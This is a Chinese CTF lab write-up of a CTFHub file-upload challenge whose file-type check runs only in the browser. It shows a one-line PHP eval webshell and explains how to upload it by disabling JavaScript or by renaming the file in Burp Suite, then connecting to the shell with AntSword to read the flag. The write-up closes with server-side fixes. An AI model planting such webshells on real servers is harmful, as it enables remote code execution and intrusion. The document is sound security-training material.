CTFHub | 前端验证

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

前端验证:

        (无)

网页显示内容

        

        

0x02 解题过程

        前端验证是通过对客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常,它会通过一系列简单的规则,如长度检查、格式检查、正则表达式匹配等,验证用户输入是否符合要求,以提高应用程序的安全性和可用性。

        

0x1 方法一: 禁用浏览器JavaScript 

这里以火狐浏览器为例,首先需要在浏览器地址栏输入about:config并按回车

about:config

        

点击接受风险并继续后进入高级首选项搜索框界面

        

在高级首选项搜索框界面中搜索javascript.enabled,点击转换按钮将true值切换为false

javascript.enabled

        

true值改为false后,重新打开网页URL

        

编写payload

<?php @eval($_POST['CTFhub']);?>

        

在网页中上传编写好的一句话木马

        

打开蚁剑进行连接并添加到数据中

        

检查网页目录,发现此题flag

        

0x2 方法二: Burpsuite抓包 

使用ChatGPT对URL网页做一个简单的代码审计,根据ChatGPT的提示,发现此代码只做了前端验证,并未上传到服务器中,那么此题的思路可以是绕过前端验证。因为在代码部分白名单中仅有.jpg、.png、.gif文件。没有做太多的过滤。

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CTFHub 文件上传 - js前端验证</title>
</head>
<body><h1>CTFHub 文件上传 - js前端验证</h1><form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()"><label for="file">Filename:</label><input type="file" name="file" id="file" /><br /><input type="submit" name="submit" value="Submit" /></form>
<script>
function checkfilesuffix()
{var file=document.getElementsByName('file')[0]['value'];if(file==""||file==null){alert("请添加上传文件");return false;}else{var whitelist=new Array(".jpg",".png",".gif");var file_suffix=file.substring(file.lastIndexOf("."));if(whitelist.indexOf(file_suffix) == -1){alert("该文件不允许上传");return false;}}
}
</script>
</body>
</html>

        

上传一个伪装成白名单的文件绕过前端验证

        

上传成功后使用Burpsutie抓包工具进行抓包

        

修改抓取到的数据,将上传的一句话木马文件重新改为shell.php文件

        

传入木马数据成功后使用蚁剑连接

         

检查网页目录,发现此题flag

        

        

0x03 修复建议

[1].在服务器端对上传的文件进行验证,以确保上传的文件是被允许的类型,并且不包含恶意代码。

[2].不要仅仅依赖文件后缀名来验证文件类型,最好通过解析文件头或使用其他方法来确保上传的文件是被允许的类型。

[3].在使用 innerHTML 时,最好使用 DOM 操作而不是字符串操作,这样可以避免 XSS 攻击。

[4].在使用表单时,最好将 action 属性设置为表单处理程序的 URL,并使用 CSRF 令牌防止 CSRF 攻击。

[5].确保使用一致的变量名称,以使代码更易于阅读和理解。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/69789.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

chatgpt赋能python:Python绕过验证码分析

Python绕过验证码分析 介绍 验证码&#xff08;CAPTCHA&#xff09;是一种常见的人机验证机制&#xff0c;用于保护网站不被自动化机器人恶意攻击。但是&#xff0c;对于一些恶意攻击者而言&#xff0c;绕过这种验证机制是他们完成攻击的必由之路。Python是一种强大的编程语言…

如何区分GPT3.5和4?

切换模型 前两天申请的GPT 4的API调用权限终于申请下来了。 这两天我也是抓紧开发&#xff0c;让自己搭建的国内网站&#xff08;aichatroom.cn&#xff09;可以快速支持上使用GPT 4。 GPT 3.5和GPT4的区别 GPT-3.5 和 GPT-4 分别代表了 OpenAI 发布的两个不同版本的自然语言处…

2021年度泰晤士全球大学【计算机科学排名】公布

转载于 青塔 泰晤士世界大学学科排名&#xff08;THE World University Rankings by Subject&#xff09;涵盖工程技术、理学、生命科学、计算机科学、教育学、临床前期与临床健康、商业与经济、法学、社会科学、艺术与人文、心理学等11个学科领域。 学科排名采用与世界大学排名…

再见正则表达式!这次彻底告别手写!

这篇文章的目的是让你能得到完美的正则表达式&#xff0c;而且还不用自己拼。 说到正则表达式&#xff0c;一直是令我头疼的问题&#xff0c;这家伙一般时候用不到&#xff0c;等用到的时候发现它的规则是一点儿也记不住&#xff0c;\d表示一个数字&#xff0c;\s表示包括下划…

软银成功收购波士顿动力,收获顶尖的机器人技术

波士顿动力&#xff08;Boston Dynamics&#xff09;在机器人领域里属于顶尖的研发公司&#xff0c;而这家在行业内取得了巨大成功的公司&#xff0c;却被Alphabet(谷歌母公司)整体出售给日本软银&#xff0c;并且与Boston Dynamics一起被出售的是日本本土的一家机器人公司Scha…

深度学习经典入门项目—波士顿房价预测

目录 房价预测--线性回归数据处理数据形状变换数据集划分数据归一化处理housing.data数据格式 模型设计线性回归模型设计 训练配置训练过程保存并测试模型保存模型测试模型 房价预测–线性回归 波士顿房价预测数据集是经典的机器学习、深度学习入门的数据集。下面我们用这个数…

本周AI热点回顾:波士顿动力机器狗去新西兰放羊了、微软WSL将支持GPU、ERNIE-GEN刷新SOTA

01 波士顿动力机器狗去新西兰放羊了&#xff01;网友&#xff1a;不努力连狗都不如 波士顿动力的科学家可能做梦也没想到&#xff0c;他们研制出来的Spot机械狗&#xff0c;刚刚商用&#xff0c;就被训练来放羊了。 新西兰&#xff0c;一个因为牛奶和羊毛被中国人熟知的国家&am…

机器学习项目实践——波士顿房价预测

基于线性回归预测波士顿房价 摘要&#xff1a;分类和回归属于机器学习领域有监督学习算法的两种方法&#xff0c;有监督学习是通过已有的训练样本去训练得到一个模型&#xff0c;再使用这个模型将所有的输入映射到相应的输出&#xff0c;若输出结果是离散型称为分类&#xff0…

起底网红机器人波士顿动力

关注网易智能&#xff0c;聚焦AI大事件&#xff0c;读懂下一个大时代&#xff01; 这家“网红”机器人公司又火了。 最近&#xff0c;接连发布的两条波士顿动力机器人的最新视频让不少人感到惊讶&#xff0c;一段是发布于今年10月11日标题为“跑酷阿特拉斯”的视频&#xff0c;…

重磅干货!揭秘波士顿动力背后的专利技术

【导读】本文从波士顿动力背后申请的专利入手,从动力系统、步态分析,详细探讨了波士顿动力机器人背后的技术实现。 波士顿动力四足机器人的发展历程(前世今身) 相比于轮式或履带机器人,波士顿足式机器人具有更强的地形适应能力,身体十分灵活,可以在各种崎岖不平的地面行…

机器学习实战演练 波士顿房价预测与模型评估

介绍数据集&#xff1a; 本数据集共有506个样本&#xff0c;每个样本有13个特征及标签MEDV 特征信息&#xff1a; CRIM 城镇人均犯罪率 ZN 占地面积超过2.5万平方英尺的住宅用地比例 INDUS 城镇非零售业务地区的比例 CHAS 查尔斯河虚拟变量 ( 1 如果土地在河边&#xff1b;否则…

这就是波士顿动力第一款商用产品「机器狗」Spot

波士顿动力 CEO Marc Raibert 告诉《The Verge》称&#xff0c;最近 Spot 正在大量的「概念验证」环境下接受测试&#xff0c;包括包裹递送和监控作业。他表示&#xff0c;尽管商用版 Spot 没有具体的上线日期&#xff0c;但应该会在几个月内与公众见面&#xff0c;并且年底前肯…

波士顿动力9.21亿美元被卖,地主家也养不起网红机器狗

据韩国经济日报消息&#xff0c;消息人士透露在今天上午的董事会上&#xff0c;韩国现代集团确认将以不到一万亿韩元&#xff08;约9.21亿美元&#xff09;收购波士顿动力。 消息人士称&#xff0c;为完成波士顿动力收购&#xff0c;现代汽车已聘请高盛&#xff08;Goldman Sa…

科普分享 | 波士顿动力机器人进化史

我想很多人都看过美国科幻电影系列《终结者》&#xff0c;著名电影杂志《电影周刊》在评选20世纪最值得收藏的一部电影时&#xff0c;此片以最高票数位居第一。科幻是现实对历史的镜像&#xff0c;机器人领域最让人津津乐道的莫过于波士顿动力公司了。 图1 《终结者》剧照 波士…

人工智能与大数据—线性回归之波士顿房价预测

一&#xff0c;首先导入必要的包 1&#xff0c;paddle.fluid--->PaddlePaddle深度学习框架 2&#xff0c;numpy---------->python基本库&#xff0c;用于科学计算 3&#xff0c;os------------------>python的模块&#xff0c;可使用该模块对操作系统进行操作 4&a…

波斯顿动力机器人为啥那么牛逼?

关注星标公众号&#xff0c;不错过精彩内容 作者 | strongerHuang 微信公众号 | 嵌入式专栏 原文&#xff1a;1980 - 2022年&#xff0c;波斯顿动力发展历程、机器人产品分类汇总。 视频&#xff1a;位于我的视频号『strongerHuang』中视频专辑《斯顿动力机器人》&#xff08;第…

思考累了,看看故事:波士顿动力公司大狗系列--SpotMini

2016年6月23日&#xff0c;Boston Dynamics在YouTube发布了他们新一款的机器人SpotMini&#xff0c;截止26日&#xff0c;网上已经有超过200万人观看过这段视频&#xff0c;再加上国内视频的转发&#xff0c;观看量可想而知。这个热门程度有不禁让人想起来今年年初新一代Atlas发…

波士顿动力机器狗在工厂打工的实录火了

博雯 发自 凹非寺量子位 报道 | 公众号 QbitAI 实验室里的波士顿动力狗&#xff0c;跳舞跑酷后空翻&#xff0c;堪称狗界网红&#xff0c;机器界顶流&#xff1a; 但如果出了实验室&#xff0c;开始正经找个厂上班呢&#xff1f; 机器狗的生活就变成了现在这样&#xff1a; 迈着…

开源教程 | 树莓派 DIY 波士顿动力机器狗,立省 53 万 RMB

国外小哥 Michael Romanko 利用树莓派3B&#xff0c;伺服电机&#xff0c;液晶显示器&#xff0c;锂电池&#xff0c;PCA9695控制板打造了一只波士顿动力机器狗&#xff0c;成本不到4000元。 通过三轴身体姿态控制&#xff0c;这样一只树莓派版波士顿动力狗&#xff0c;可以实现…

波士顿动力真的无可企及吗?一步步剖析四足机器人技术(一)

四足机器人运动控制 第一章 序第二章 运动状态姿态控制运动控制 第三章 步态第四章 CPG控制网络介绍CPG模型分类基于HOPF振荡器的CPG单元模型CPG网络控制模型 Tips参考文献 大家可以先看看效果 [四足机器人]开环运动控制测试 第一章 序 足式机器人较传统的四轮式和履带式有着…